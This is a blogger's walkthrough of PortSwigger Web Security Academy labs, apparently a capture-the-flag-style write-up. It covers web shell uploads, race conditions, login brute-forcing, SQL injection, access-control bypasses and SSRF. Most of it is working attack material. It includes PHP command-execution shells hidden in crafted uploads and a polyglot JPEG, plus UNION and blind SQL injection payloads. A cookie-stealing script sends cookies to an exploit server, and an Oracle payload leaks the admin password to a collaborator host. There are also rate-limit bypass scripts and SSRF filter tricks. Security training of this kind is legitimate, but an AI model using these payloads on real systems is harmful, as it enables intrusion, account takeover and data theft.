We can then call the web shell using GET request to /files/a.php?command=cat%20%2fhome%2fcarlos%2fsecret endpoint. You can see I urlencoded the command, which is cat /home/carlos/secret. The server returned: gkh1X5X5GVLhWG3pqneDe3c44VMMMBZKgkh1X5X5GVLhWG3pqneDe3c44VMMMBZK. It seems like either the file is a duplicate or my command gets executed twice. You see the secret is basically appending ontop of each other. kh1X5X5GVLhWG3pqneDe3c44VMMMBZK is the actual secret. I spent 10 minutes submitting the entire request, trying to figure out why its not working lol.

Lab: Web shell upload via extension blacklist bypass

First we can upload .htaccess file to server path. We know the target runs apache server. Reading the documentation, we can map any extension to a type like so AddType application/x-httpd-php .php5. Now all .php5 files in that directory will be parsed like a php.

POST /my-account/avatar HTTP/2 Host: 0a0a0000046c479bb1f91b59004c00e3.web-security-academy.net Cookie: session=baOKhHiy9pLbkt0G2eqz89gCiUeunun7 Content-Length: 460 Cache-Control: max-age=0 Sec-Ch-Ua: “Chromium”;v=”139”, “Not;A=Brand”;v=”99” Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: “Linux” Accept-Language: en-US,en;q=0.9 Origin: https://0a0a0000046c479bb1f91b59004c00e3.web-security-academy.net Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryHDsFjQ34DkoVXjQr Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0a0a0000046c479bb1f91b59004c00e3.web-security-academy.net/my-account?id=wiener Accept-Encoding: gzip, deflate, br Priority: u=0, i

——WebKitFormBoundaryHDsFjQ34DkoVXjQr Content-Disposition: form-data; name=”avatar”; filename=”.htaccess” Content-Type: application/octet-stream

AddType application/x-httpd-php .php5

——WebKitFormBoundaryHDsFjQ34DkoVXjQr Content-Disposition: form-data; name=”user”

wiener ——WebKitFormBoundaryHDsFjQ34DkoVXjQr Content-Disposition: form-data; name=”csrf”

Y1spPwmXtOntmDaseTeMYdv1mPOS3NDg ——WebKitFormBoundaryHDsFjQ34DkoVXjQr–

Next, we upload our payload with a .php5 extension and boom we get RCE on the server: <?php echo system($_GET['command']); ?>

Lab: Web shell upload via obfuscated file extension

Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file. Ok good to know.

POST /my-account/avatar HTTP/2
Host: 0a8000af03d6c7e1821b339600ed0026.web-security-academy.net
Cookie: session=X2ThP2DlS91Yx47zDPjPWtg9BcJWxW5j
Content-Length: 463
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a8000af03d6c7e1821b339600ed0026.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ4XHfHC9t9ACHhjH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8000af03d6c7e1821b339600ed0026.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

------WebKitFormBoundaryQ4XHfHC9t9ACHhjH
Content-Disposition: form-data; name="avatar"; filename="g.php%00.jpg"
Content-Type: application/octet-stream

<?php echo system($_GET['command']); ?>

------WebKitFormBoundaryQ4XHfHC9t9ACHhjH
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryQ4XHfHC9t9ACHhjH
Content-Disposition: form-data; name="csrf"

eYt11HDxuMZpACYaOOy4FRbA8g9Nt058
------WebKitFormBoundaryQ4XHfHC9t9ACHhjH--

Once again using null byte worked to bypass checks: g.php%00.jpg

Lab: Remote code execution via polyglot web shell upload

Error: file is not a valid image Sorry, there was an error uploading your file.

POST /my-account/avatar HTTP/2
Host: 0a4f0040045efc73dbbb28f5002e00b6.web-security-academy.net
Cookie: session=hA1C1qWaBtnmelb5bQytoeYTgiqVIBCs
Content-Length: 1480
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a4f0040045efc73dbbb28f5002e00b6.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydgORNpkDoBXlTYrg
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4f0040045efc73dbbb28f5002e00b6.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

------WebKitFormBoundarydgORNpkDoBXlTYrg
Content-Disposition: form-data; name="avatar"; filename="7.php"
Content-Type: application/x-php

ÿØÿàJFIFddÿìDucky<ÿáhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:81a33bb5-bb49-43ef-9408-b753deda3850" xmpMM:DocumentID="xmp.did:EF37D91B129C11E98746F852926902E1" xmpMM:InstanceID="xmp.iid:EF37D91A129C11E98746F852926902E1" xmp:CreatorTool="Adobe Photoshop CC 2018 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:da87bd47-6810-4c14-b36e-94744ed823bf" stRef:documentID="adobe:docid:photoshop:c62b1832-c8a7-394a-900e-35fad4cba95a"/> </rdf:Description> </rdf:RDF>


ÿÀ
<?php echo system($_GET['command']); ?>

------WebKitFormBoundarydgORNpkDoBXlTYrg
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundarydgORNpkDoBXlTYrg
Content-Disposition: form-data; name="csrf"

fEhXErVnJg1t94oCWGB4ju1CQTxL5BEX
------WebKitFormBoundarydgORNpkDoBXlTYrg--

I uploaded a valid jpg, then started removing data, sending request using repeater. If the image was invalid, I undoed and tried again. Once I removed everything I could, I added my php script after. Renaming file to .php allowed me to use it normally, getting RCE.

Race Conditions

Lab: Limit overrun race conditions

Very cool. Simply use the Bambda extension provided by Burp:

// This will use the single-packet attack for HTTP/2, and last-byte synchronisation for HTTP/1
int NUMBER_OF_REQUESTS = 50;
var reqs = new ArrayList<HttpRequest>();
for (int i = 0; i < NUMBER_OF_REQUESTS; i++)
{
  reqs.add(requestResponse.request());
}
var responses = api().http().sendRequests(reqs);
var codes = responses.stream().map(HttpRequestResponse::response).map(HttpResponse::statusCode).collect(Collectors.toList());
logging().logToOutput(codes);

You apply the coupon, send to repeater, drop the request, then send 50 concurrent requests to trigger the race condition. This drops the price to below 50 dollars and you can then buy the product.

Lab: Bypassing rate limits via race conditions

Install the Turbo intruder extension. Use the examples/race-single-packet-attack.py and modify it so you can put in your wordlist at the specified path on your local machine /usr/share/dict/words. The lab provides the wordlist, so just use that. Now we basically bruteforce the password, but use a single request using HTTP/2. So we send multiple requests inside a single TCP session, which bypasses the rate limit. In the results you will see one response with HTTP/302 found. Use that password, login to Carlos, admin panel, and delete the Carlos account, lab solved!

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )

    for word in open('/usr/share/dict/words'):
        engine.queue(target.req, word.rstrip(),gate='1')

    engine.openGate('1')


def handleResponse(req, interesting):
    # currently available attributes are req.status, req.wordcount, req.length and req.response
    if req.status != 404:
        table.add(req)

Authentication vulnerabilities

Lab: Username enumeration via different responses

Use Burp intruder with the supplied wordlists. Observe that for usernames that don’t exist, server returns “Invalid Username”. We can use this fact to filter for valid usernames. Once you find that valid username, simply bruteforce password using wordlist provided. A HTTP 302 means success. Login and lab solved.

Lab: Username enumeration via subtly different responses

Invalid username or password., but one response without period. Interesting… That was it. The response with a correct username doesn’t have a period lol.

Lab: Username enumeration via response timing

Nice they have rate limiting: You have made too many incorrect login attempts. Please try again in 30 minute(s).

Adding X-Forwarded-For easily bypasses this. This one was more challenging. Took a quick hint, but that instantly put me on track. If you put a super long password and the username is correct, the server takes extra long to process that password. We use this fact to enumerate usernames. Use Burp intruder, set a super long password, and use provided username wordlist. Sort by the longer response time. This is the correct username. Password enumeration is the same, make sure to use Pitchfork mode to keep changing the X-Forwarded-For header.

Lab: Broken brute-force protection, IP block

Figure out a way to send 2 requests to guess Carlos password, then send my account credentials, then repeat. Well just asked LLM to generate payload list for me. Repeating my own account credentials every 2nd time. Send this to Burp intruder, look for HTTP 302 response. Make sure to also set Concurrent requests to 1, so the requests are sent in order, otherwise you will lock yourself out.

Lab: Username enumeration via account lock

To enumerate usernames, first send the username list at least 3 times. I just send the entire list 3 extra times in Burp Intruder. Filter by negative search for Invalid username or password.. You will find a username that gets locked out. This is the username. Now for password, do the same thing, but this time negative search for You have made too many incorrect login attempts. Please try again in 1 minute(s).. There is 1 response with no message, this is the account password. Wait 1 minute because you have been locked out, login and done.

stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; session=DnYHnBd4pAHSFEFyeeMZLBBT3FYjYHAR

Seems to be base64 encoded. Decoding: wiener:51dc30ddc473d43a6011e9ebba6ca770

Ok the 51dc30ddc473d43a6011e9ebba6ca770 seems to be MD5 hash of the password peter:

echo -n peter | md5sum
51dc30ddc473d43a6011e9ebba6ca770

So we can hash each password, set it as the stay logged in cookie and see if we are logged in as carlos. Use Burp intruder, we paste the passwords from the wordlist. In “Payload processing”, we add “Hash md5”, add prefix carlos:, finally base64 encode. Start the attack on the GET /my-account?id=carlos HTTP/2 endpoint.

We find the single HTTP 200 status code response. This is our password. Copy and paste that cookie into Chrome developer tools, boom we have access to Carlos account.

Lab: Offline password cracking

Looks like iframes can’t be loaded cross site, so we will use CSRF:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a3d00d50476dbf2801a8a010086004c.web-security-academy.net/post?postId=8" method="GET">
      <input type="hidden" name="postId" value="8" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

I posted a comment with fetch to exfiltrate the stay-logged-in cookie. This cookie doesn’t have the HttpOnly flag, so we can access via JS.

<script>fetch("https://exploit-0abf00160455dbd880548991014a0097.exploit-server.net/exploit?"+document.cookie)</script>

Well after posting that comment, the victim visited the page and we have their cookies: /exploit?secret=TRxo9Q9v7Pi2QTcCcT7HWXqx2vK89WIv;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz, base64 decode to: carlos:26323c16d5f4dabff3bb136f2460a943. If you search up 26323c16d5f4dabff3bb136f2460a943 using your favourite indexer, you will find the reverse md5, which is onceuponatime.

Login as Carlos and onceuponatime, delete account, done!

Lab: Basic password reset poisoning

Send a password reset to carlos, but change HTTP host header in the POST /forgot-password endpoint to your exploit server. Go to access logs and once user clicks link, you will get their password token. Use that to reset their password.

Lab: Password reset poisoning via middleware

Im dum dum. Look at X-Forwarded-* headers:

    X-Forwarded-For — client IP address chain (originating client IP, then proxies).
    X-Forwarded-Host — original Host HTTP header (host and optional port) as seen by the client.
    X-Forwarded-Proto — protocol used by the client (http or https).
    X-Forwarded-Port — port used by the client (numeric).
    X-Forwarded-Ssl — indicates SSL usage (often "on" when TLS used).
    X-Forwarded-Server — name of the last proxy or server that forwarded the request.
    X-Forwarded-Method — original HTTP method (GET, POST, etc.) if altered by intermediaries.
    X-Forwarded-Host-Override — (less common) host override applied by a proxy.
    X-Forwarded-By — proxy identifier or name.
    X-Forwarded-Proto-Version — protocol version information (rare).
    X-Forwarded-Uri — original request URI (path + query).
    X-Forwarded-Scheme — alternative to X-Forwarded-Proto (http/https).
    X-Forwarded-Application — identifier for the backend application (rare).
    X-Forwarded-For-Original — preserved original X-Forwarded-For when proxies rewrite header (implementation-specific).
    X-Forwarded-Client-Cert — client certificate info forwarded by TLS-terminating proxy (PEM or fields).
    X-Forwarded-User — authenticated user id or name forwarded by auth proxy.
    X-Forwarded-Email — authenticated user email (when auth proxy supplies it).
    X-Forwarded-Auth — information about authentication status or token (implementation-specific).
    X-Forwarded-Cluster — load-balancer cluster identifier.
    X-Forwarded-Region — geographic region or edge location that forwarded the request.
    X-Forwarded-For-Ext — vendor-specific extended forwarding info.
    X-Forwarded-Connection — original Connection header value if relevant.
    X-Forwarded-Flags — binary or flag set about proxy handling (vendor-specific).

We can use X-Forwarded-Host, set to attacker server, and send email to target.

Lab: Password brute-force via password change

Login as wiener and use the password change function: POST /my-account/change-password HTTP/2 Notice that if you remove the password1 and password2 fields and send payload: username=carlos&current-password=&new-password-1=&new-password-2=, the response will be Current password is incorrect. If you send a payload with either new-password-1 or new-password-2 filled out, you will get a HTTP 302 redirect to the login page.

Use the password list to brute force Carlos account. You will be successful when you notice one response without the Current password is incorrect. This is the password, login, and lab solved.

SQL injection

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

If you add a – to the end of the filter, you can see hidden items within that category. GET /filter?category=Clothing%2c+shoes+and+accessories'-- HTTP/2 For some reason, this didn’t solve the lab, guess I needed to view all the items.

GET /filter?category=Clothing%2c+shoes+and+accessories'+OR+1=1-- HTTP/2 Adding a '+OR+1=1-- displays all products. The + represents space, 1=1 is always true, and – comments out the AND condition at the end.

SQL injection vulnerability allowing login bypass

Type username as administrator'--, password anything. You will be instantly logged in because the -- comments out the password check, which allows you access. Dont even need Burp for this.

Lab: SQL injection with filter bypass via XML encoding

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1 &#85;NION &#83;ELECT password FROM users</storeId></stockCheck>

Make sure to XML encode U in UNION and S in SELECT to bypass WAF. You can encode using Hackvertor Bapp using dec_entities. Try all passwords for administrator and eventually one of them will work, login, and lab complete.

Lab: SQL injection UNION attack, determining the number of columns returned by the query

URL encode: ' UNION SELECT NULL,NULL,NULL--

GET /filter?category=%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2d%2d HTTP/2

Lab: SQL injection attack, querying the database type and version on Oracle

First use the previous lab experience to query the number of columns to be returned. This will give you info on how many columns you need to query for in the payload. URL encode: ' UNION SELECT NULL,NULL--, anymore NULLs and the server returns HTTP 500.

So we know server expects 2 columns per query. To get the versions we use the following UNION attack: ' UNION SELECT banner,NULL FROM v$version--, url encode before sending. Notice the NULL in the column select. We need to put 2 or the server will return HTTP 500. Send via Burp repeater and lab solved.

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

'UNION SELECT @@version,NULL-- Note the extra space at end. There are still 2 columns being returned, so our request must select 2 columns.

SQL injection attack, listing the database contents on non-Oracle databases

This is a postgresql server, running GET /filter?category='UNION+SELECT+version(),NULL-- HTTP/2

PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

Using payloads from cheat sheet ' UNION SELECT * FROM information_schema.tables-- doesn’t work. Server returns HTTP 500. Using asterisk always returns HTTP 500, very annoying. My goal is to just find the name of the password table, try every single one with administrator username and one should work. To find the names of all the tables I used union attack: ' UNION SELECT table_name,NULL FROM information_schema.tables-- This returns a HUGE list of names:

                       <tr>
                            <th>pg_init_privs</th>
                        </tr>
                        <tr>
                            <th>pg_range</th>
                        </tr>
                        <tr>
                            <th>users_znvxpi</th>
                        </tr>
                        <tr>
                            <th>pg_namespace</th>
                        </tr>
                        <tr>
                            <th>pg_trigger</th>
                        </tr>
                        <tr>

The one that was interesting is users_znvxpi. Lets find the columns from this table. ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_znvxpi'-- Returns:

                       <tr>
                            <th>password_prafdj</th>
                        </tr>
                        <tr>
                            <th>email</th>
                        </tr>
                        <tr>
                            <th>username_gridpt</th>
                        </tr>

So the password table name is password_prafdj. Now we construct the final payload using this name and the previous user name. GET /filter?category='UNION+SELECT+password_prafdj,NULL+FROM+users_znvxpi-- HTTP/2 This returns 3 passwords, 2nd one is pwd for admin account, login, and solved. Note that the last 6 charactors following username_ _gridpt is always randomized per lab, change to your unique value.

Lab: SQL injection attack, listing the database contents on Oracle

Same as previous, just different naming scheme. To query for columns, use the cheat sheet all_tab_columns. Final payload: GET /filter?category='+UNION+SELECT+PASSWORD_UQHVCW,NULL+FROM+USERS_ROXYZG-- HTTP/2

SQL injection UNION attack, finding a column containing text

First find out how many columns db is returning. You can use NULL. In this case, DB returns 3 columns. Now in the lab you get a unique string, so just replace one of the 3 inputs with that string. One of them will return HTTP 200, then lab solved. GET /filter?category='UNION+SELECT+NULL,'hEsrYg',NULL-- HTTP/2

SQL injection UNION attack, retrieving data from other tables

This shouldn’t be practitioner. You get the lab answer in the description. GET /filter?category='UNION+SELECT+username,password+FROM+users-- HTTP/2 This returns:

                           <th>wiener</th>
                            <td>f08w1up1rp2xhvh8n3d6</td>
                        </tr>
                        <tr>
                            <th>carlos</th>
                            <td>no4jd3bpfrdnxevpz45b</td>
                        </tr>
                        <tr>
                            <th>administrator</th>
                            <td>legd67rfjhdiy3e7pnvo</td>

Login as administrator and lab solved!

Lab: SQL injection UNION attack, retrieving multiple values in a single column

'UNION SELECT NULL,username||':'||password FROM users-- This will return the username:password. The concatenation with : works because we first we select NULL:password, which becomes nothing. Concatenating NULL with anything becomes nothing. Then concatenate username:password, which gives expected output. You can also solve the lab using: 'UNION SELECT NULL,password FROM users--, just ignore the concatenation and try every single password with the administrator username. Important to note that the first column is not returning string, so password,NULL returns HTTP 500. Make sure to swap the columns when testing payloads if it doesn’t work initially.

Lab: Blind SQL injection with conditional responses

Inject into the Cookie TrackingId:

Cookie: TrackingId=Tqibf2QCa19Jdsnm' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='g'--

So we looking at first character index 1, length 1 and if it is equal to g, the server returns Welcome back in the response. We simply repeat until we get all the characters. Password is 20 characters long, the last character will be ‘’. This is what I got for my lab: gfk2krh93e4ovcifrhqu

Lab: Blind SQL injection with conditional errors

Cookie: TrackingId=M6zUNUmNGH3LCU7g'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM dual)--'; Ok spent too much time figuring out why my command didn’t work. The || is for concatenation with the cookie and make sure to surround the SELECT command with parenthesis, ending with -- comment.

This is the payload I came up with to test the password: Cookie: TrackingId=M6zUNUmNGH3LCU7g'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator' AND SUBSTR(password,1,1)='1')--';. The server will return HTTP 500 if result is true, otherwise 200 ok.

1xrhurrdrn0lsbscwakr

Visible error-based SQL injection

Cookie: TrackingId='||(CAST((SELECT password FROM users LIMIT 1)AS int))--; session=obkWUSiNiVh This lab has a char limit. Now if I didn’t add a LIMIT 1 into the query, I would get an error. Putting that in and now I can leak the password after trying to cast it to int.

Lab: Blind SQL injection with time delays

Using the Burp cheat sheet, I just tried every single payload until it worked. Seems like it is a PostgreSQL db.

Cookie: TrackingId='%3bSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--; session=

Blind SQL injection with time delays and information retrieval

Cookie: TrackingId=TrackingId='%3bSELECT CASE WHEN (1=1) THEN pg_sleep(1) ELSE pg_sleep(0) END FROM users where username='administrator' AND SUBSTRING(password,1,1)=''--; session= I am using Burp intruder to automate more of this. Simply using a character set, a-z,0-9, and looking at response time. If the response time > 1000ms, that is the character of pwd.

rzdzhmysz17qpo6be9dx

Lab: Blind SQL injection with out-of-band interaction

Make sure to use consistent URL encoding. Don’t url encode some parts of payload and send it because it won’t execute properly.

Cookie: TrackingId=%27%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%78%6d%6c%74%79%70%65%28%27%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%55%54%46%2d%38%22%3f%3e%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%20%5b%20%3c%21%45%4e%54%49%54%59%20%25%20%72%65%6d%6f%74%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%64%35%6a%6d%6b%38%65%6e%38%6d%66%71%65%79%76%6d%78%73%72%67%77%78%33%70%62%67%68%37%35%63%74%31%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%2f%22%3e%20%25%72%65%6d%6f%74%65%3b%5d%3e%27%29%2c%27%2f%6c%27%29%20%46%52%4f%4d%20%64%75%61%6c%2d%2d;

'UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://d5jmk8en8mfqeyvmxsrgwx3pbgh75ct1.oastify.com/"> %remote;]>'),'/l') FROM dual--. Generate your unique Collaborator URL and put it where the http request is. This is a vulnerable Oracle DB.

Lab: Blind SQL injection with out-of-band data exfiltration

'UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.im8r1dvsprwvv3crex8ld2kuslycm3cr1.oastify.com/"> %remote;]>'),'/l') FROM dual-- This actually gives a HTTP request, but not correct password.

Oh im dum dum. Dont look at response payloadl. How this works is it appends the password to the http request. So in collaborator you should see:

GET / HTTP/1.0
Host: p0z8vou7kbaiqpvxh0ux.im8r1dvsprwvv3crex8ld2kuslycm3cr1.oastify.com
Content-Type: text/plain; charset=utf-8

p0z8vou7kbaiqpvxh0ux is the pwd for administrator account.

Access control vulnerabilities and privilege escalation

Lab: Unprotected admin functionality

Go to /robots.txt:

User-agent: *
Disallow: /administrator-panel

Go to the admin panel and delete Carlos, very easy.

Lab: Unprotected admin functionality with unpredictable URL

Go to lab, open page source.

var isAdmin = false;
if (isAdmin) {
   var topLinksTag = document.getElementsByClassName("top-links")[0];
   var adminPanelTag = document.createElement('a');
   adminPanelTag.setAttribute('href', '/admin-x0e7zn');
   adminPanelTag.innerText = 'Admin panel';
   topLinksTag.append(adminPanelTag);
   var pTag = document.createElement('p');
   pTag.innerText = '|';
   topLinksTag.appendChild(pTag);
}

Go to the URL, delete user, done.

User role controlled by request parameter

Login as wiener and use Burp intercept to change the Admin value to true. When you delete the user, simply change the cookie value, the request will go through.

GET /admin/delete?username=carlos HTTP/2
Host: 0ae00046045a072c81a1d944004e009e.web-security-academy.net
Cookie: Admin=true; session=rxeJYMgweBv7NpP8J8HFyxFWPKnvJ8wa

User role can be modified in user profile

When you submit change email, you can add a roleid parameter. Submit this:

{"email":"asoidasadoj@a",
"roleid":2
}

Response back from srv is:

{
  "username": "wiener",
  "email": "asoidasadoj@a",
  "apikey": "7fb8yxAZn0pJTR7d6M5eDpueRkHRqUoC",
  "roleid": 2
}

Boom you are now admin. Go to /admin and delete Carlos.

Lab: URL-based access control can be circumvented

Use Burp repeater, send a existing HTTP request to the home page. Set X-Original-URL and put the parameter in the request like so:

GET /?username=carlos HTTP/2
Host: 0aea007904e2937a8ace0dba00b50005.web-security-academy.net
X-Original-Url: /admin/delete?username=carlos

Send and done, should not be Practitioner level.

Method-based access control can be circumvented

Login as admin and observe how the upgrade/downgrade process works. Login as wiener and submit: GET /admin-roles?username=wiener&action=upgrade HTTP/2. We change to GET request to bypass HTTP 401.

Lab: User ID controlled by request parameter

Too easy. Login as wiener, change URL to /my-account?id=carlos

User ID controlled by request parameter, with unpredictable user IDs

Any blogs created by Carlos will have this in source: <p><span id=blog-author><a href='/blogs?userId=7de949af-f344-4b15-99f0-b14db72d9dc8'>carlos</a></span> | 14 September 2025</p>. That is your GUID. Use that to find API key.

Switch URL to https://0aba00d50366745580504ed40034006c.web-security-academy.net/my-account?id=7de949af-f344-4b15-99f0-b14db72d9dc8, done.

User ID controlled by request parameter with data leakage in redirect

In the HTTP 302 redirection after you send GET /my-account?id=carlos, the full account details is leaked:

                       <p>Your username is: carlos</p>
                        <div>Your API Key is: D4SkVqA0m8L3i2BEywecDibhtZkWsitz</div>

Submit API key and done.

User ID controlled by request parameter with password disclosure

After logging in as wiener, change the URL to https://0a1100e2030b081381dffc64001e00f4.web-security-academy.net/my-account?id=administrator. Inspect the password field:

<input required="" type="password" name="password" value="7q8nz9ukt31y6ykhfcu1">

This is the password for admin account, login, and delete Carlos.

Insecure direct object references

Go to /download-transcript/1.txt. This will download Carlos chat logs. Inside you will find his password. Login and solved.

Lab: Multi-step process with no access control on one step

POST /admin-roles HTTP/2
action=upgrade&confirmed=true&username=wiener

Just login as admin, notice that when you confirm to upgrade a user, request gets appended with confirmed=true. Now we simply login as wiener, resend this exact request, but change the session to our session. Done, shouldnt be practitioner lol.

Lab: Referer-based access control

GET /admin-roles?username=carlos&action=upgrade HTTP/2
Referer: https://0ab900dc04136eb2825a0c4900e0007a.web-security-academy.net/admin

Make sure request has Referer set with /admin. Repeat like before. Set the session cookie after logging in as yourself, send request, done.

Server-side request forgery (SSRF)

Lab: Basic SSRF against the local server

When you send the request to check stock, modify request:

POST /product/stock HTTP/2
stockApi=http%3A%2F%2Flocalhost%2Fadmin%2Fdelete%3Fusername%3Dcarlos

This will delete the user Carlos since its requested from localhost.

Lab: Basic SSRF against another back-end system

Use intruder to scan the /24 from 1-254 stockApi=http://192.168.0.x:8080/admin. The admin interface will respond with HTTP 200. Then from there use repeater to send the delete payload for Carlos: stockApi=http://192.168.0.146:8080/admin/delete?username=carlos. Done.

Lab: SSRF with blacklist-based input filter

There is a hardcode IP and path filter. Very easy to bypass. Remember localhost is 127.0.0.0/8, so we can use 127.0.0.2, easy bypass. For /admin, simply URL encode twice. Very easy.

POST /product/stock HTTP/2
stockApi=http%3A%2F%2F127.0.0.2%2F%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%2Fdelete%3Fusername%3Dcarlos

Lab: SSRF with whitelist-based input filter

First expert lab. Lets try it. Alright sending stockApi=http%3A%2F%2Flocalhost%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 results in HTTP 400 "External stock check host must be stock.weliketoshop.net". Lets bypass this first. Remember spoofed.burpcollaborator.net resolves to 127.0.0.1.

One thing I noticed. The URL is not recursively URL decoded, so double URL encoding stock.weliketoshop.net causes the same error as before. Lets see if we can use this to make a payload. Interesting, running stockApi=https%3A%2F%2Fstock.weliketoshop.net:%2Fadmin, returns different error "Invalid external stock check url 'Invalid URL'"

Ok this seems to work stockApi=https%3A%2F%2Fstock.weliketoshop.net:1%2Fadmin. Appending numbers work, appending anything else causes HTTP 400. Interesting, appending a bunch of numbers after colon stockApi=https%3A%2F%2Fstock.weliketoshop.net:2130210921 gives HTTP 500, different error.

Remember: Use an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1. Oh my goodness. I spent way too much time on something dumb. The endpoint is HTTP not HTTPs!!! stockApi=http%3A%2F%2Flocalhost%25%32%33@stock.weliketoshop.net%2Fadmin%2Fdelete%3Fusername%3dcarlos. This worked, but stockApi=https%3A%2F%2Flocalhost%25%32%33@stock.weliketoshop.net%2Fadmin%2Fdelete%3Fusername%3dcarlos will return HTTP 500!!! How this works is we double URL encode the # for a URL fragment. You know when you click a link on a website and it jumps to that portion of the webpage? Notice that adding a @ makes the parser ignore “everything” before it, except for # and maybe a couple more. We use this to our advantage. The frontend checks use non recursive decoding, so we can bypass this by simply double URL encode # to %25%32%33.

Think about how you connect to an RTSP stream. You put rtsp://username:password@ip_address:554/.... Similar thing here, so we use localhost, the frontend parser detects the @ and the URL encoded #. So everything up to @ can be ignored. It then detects stock.weliketoshop.net. Boom ok passes the check and passes request to backend. In the backend, we the URL encoding is recursively decoded to a #, which is a URL fragment. So the backend sees a request as http://localhost#@stock.weliketoshop.net/admin/.... It will ignore the stuff proceeding # and preceeding /, connect to localhost with the admin path to delete Carlos. This is what happens when there is a discrepency in parsing between frontend and backend. This is likely one of the easier expert labs.

Lab: SSRF with filter bypass via open redirection vulnerability

Solution payload is:

POST /product/stock HTTP/2
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos

